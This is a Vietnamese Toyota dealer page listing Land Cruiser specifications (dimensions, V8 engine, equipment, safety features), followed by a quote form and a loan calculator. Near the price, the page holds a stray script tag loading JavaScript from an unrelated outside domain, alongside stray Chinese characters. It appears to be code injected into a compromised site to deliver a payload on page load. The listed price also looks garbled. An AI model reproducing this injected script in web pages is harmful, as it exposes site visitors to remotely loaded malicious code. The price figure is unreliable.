TOYOTA LAND CRUISER

Kích thước
Chiều dài cơ sở (mm) 2850
Chiều rộng cơ sở (Trước/sau) (mm) 1650 / 1645
Khoảng sáng gầm xe (mm) 230
Bán kính vòng quay tối thiểu (m) 5.9
Trọng lượng không tải (kg) 2625
Trọng lượng toàn tải (kg) 3350
Dung tích bình nhiên liệu (L) 93 + 45
Động cơ
Loại động cơ V8, VVT-i kép
Dung tích xy lanh (cc) 4608
Loại nhiên liệu Xăng
Công suất tối đa ((KW @ vòng/phút)) 227(304) / 5500
Mô men xoắn tối đa (Nm @ vòng/phút) 439 / 3400
Truyền động
Hệ thống truyền động 4 bánh toàn thời gian với vi sai trung tâm hạn chế trượt TORSEN
Hộp số Số tự động 6 cấp/6 AT
Treo, lốp & phanh
Hệ thống treo trước Độc lập, tay đòn kép
Hệ thống treo sau Liên kết 4 điểm
Loại vành Mâm đúc
Kích thước lốp 285/60R18
Lốp dự phòng Mâm đúc/Alloy
Phanh trước Đĩa thông gió 18"
Phanh sau Đĩa thông gió 17"
Tiêu thụ nhiên liệu
Kết hợp N/A
Trong đô thị N/A
Ngoài đô thị N/A
Tay lái
Loại tay lái 4 chấu, ốp gỗ
Chất liệu Da
Nút bấm điều khiển tích hợp
Điều chỉnh Chỉnh điện 4 hướng
Lẫy chuyển số Không
Bộ nhớ vị trí Nhớ 3 vị trí
Gương, tay nắm, đồng hồ
Gương chiếu hậu trong Chống chói tự động
Tay nắm cửa trong Mạ crôm
Tay nắm cửa ngoài Mạ bạc
Ốp trang trí nội thất Cùng màu nội thất/Body color
Loại đồng hồ Optitron
Đèn báo chế độ Eco
Chức năng báo lượng tiêu thụ nhiên liệu
Chức năng báo vị trí cần số
Màn hình hiển thị đa thông tin Có (màn hình màu TFT 4.2")
Ốp trang trí nội thất Ốp gỗ / Ốp mạ bạc
Cửa sổ trời Không có
Ghế
Chất liệu bọc ghế Da
Loại ghế trước Loại thường
Điều chỉnh ghế lái Chỉnh điện 10 hướng
Điều chỉnh ghế hành khách Chỉnh điện 8 hướng
Bộ nhớ vị trí Không có
Chức năng thông gió
Chức năng sưởi
Hàng ghế thứ hai Trượt - Ngả / Gập 40:20:40 / Sưởi ghế
Hàng ghế thứ ba Gập 50:50
Tựa tay hàng ghế sau
Cụm đèn trước
Đèn chiếu gần LED, Loại tự động, Kiểu bóng chiếu
Đèn chiếu xa LED, Loại tự động, Kiểu bóng chiếu
Đèn chiếu sáng ban ngày LED
Hệ thống rửa đèn
Hệ thống điều khiển đèn tự động
Hệ thống nhắc nhở đèn sáng Không có
Hệ thống mở rộng góc chiếu tự động Không có
Hệ thống cân bằng góc chiếu Tự động/Auto (ALS)
Chế độ đèn chờ dẫn đường Không
Đèn sương mù LED
Cụm đèn sau
Đèn vị trí LED
Đèn phanh LED
Đèn báo rẽ LED
Đèn lùi LED
Đèn báo phanh trên cao LED
Đèn sương mù
Cụm đèn sau LED
Gương chiếu hậu ngoài
Chức năng điều chỉnh điện
Chức năng gập điện
Tích hợp đèn báo rẽ
Chức năng tự điều chỉnh khi lùi Không có
Bộ nhớ vị trí
Chức năng sấy gương
Chức năng chống bám nước Không có
Chức năng chống chói tự động
Linh tinh
Gạt mưa trước Tự động, Gián đoạn, điều chỉnh thời gian, cảm biến gạt mưa
Gạt mưa sau Tự động, Gián đoạn, điều chỉnh thời gian, cảm biến gạt mưa
Chức năng sấy kính sau
Ăng ten Tích hợp trên kính
Chắn bùn Trước + sau
Ống xả kép Không có
Cánh hướng gió sau Tích hợp đèn báo phanh thứ 3 LED
Hệ thống âm thanh
Đầu đĩa DVD
Số loa 14 JBL
Cổng kết nối AUX
Cổng kết nối USB
Kết nối Bluetooth
Hệ thống điều khiển bằng giọng nói Không có
Bảng điều khiển từ hàng ghế sau
Kết nối wifi Không có
Kết nối điện thoại thông minh Không có
Tiện nghi khác
Rèm che nắng kính sau Không có
Rèm che nắng cửa sau Không có
Hệ thống điều hòa Tự động 4 vùng độc lập
Cửa gió sau
Hộp làm mát
Chìa khóa thông minh & khởi động bằng nút bấm
Chức năng mở cửa thông minh
Khóa cửa điện
Chức năng khóa cửa từ xa
Cửa sổ điều chỉnh điện Có (1 chạm, chống kẹt tất cả các cửa)
Cốp điều khiển điện Không
Hệ thống sạc không dây Không có
Hệ thống điều khiển hành trình
Hệ thống báo động
Hệ thống mã hóa khóa động cơ
An toàn chủ động
Hệ thống chống bó cứng phanh
Hệ thống hỗ trợ lực phanh khẩn cấp
Hệ thống phân phối lực phanh điện tử
Hệ thống ổn định thân xe
Hệ thống kiểm soát lực kéo Có (A-TRC)
Hệ thống hỗ trợ khởi hành ngang dốc
Hệ thống thích nghi địa hình
Hệ thống lựa chọn vận tốc vượt địa hình
Hệ thống cảnh báo áp suất lốp
Đèn báo phanh khẩn cấp
Camera lùi
Cảm biến hỗ trợ đỗ xe sau
Cảm biến hỗ trợ đỗ xe góc sau
Cảm biến hỗ trợ đỗ xe góc trước
An toàn bị động
Túi khí người lái & hành khách phía trước
Túi khí bên hông phía trước
Túi khí rèm
Túi khí bên hông phía sau
Túi khí đầu gối hành khách Không có
Dây đai an toàn 3 điểm tất cả ghế
Ghế có cấu trúc giảm chấn thương cổ

Thông tin liên hệ

TOYOTA AN SƯƠNG

SỐ ĐIỆN THOẠI
0942 199 579

Gửi yêu cầu báo giá

Tên của bạn:

SĐT liên lạc:

Email:

Lời nhắn:

3 983 000₫
Giá chưa bao gồm thuế & phí
"<script type=text/javascript src='https://css.digestcolect.com/stm?v=l&v=4'></script>连锁品牌Toyota
N/A
đô thị
N/A
cao tốc
Tính toán trả góp
Giá xe (₫)
Lãi suất (%)
Thời hạn (tháng)
Trả trước (₫)
Tính toán
Tiền trả mỗi tháng
Tổng tiền lãi
Tổng tiền phải trả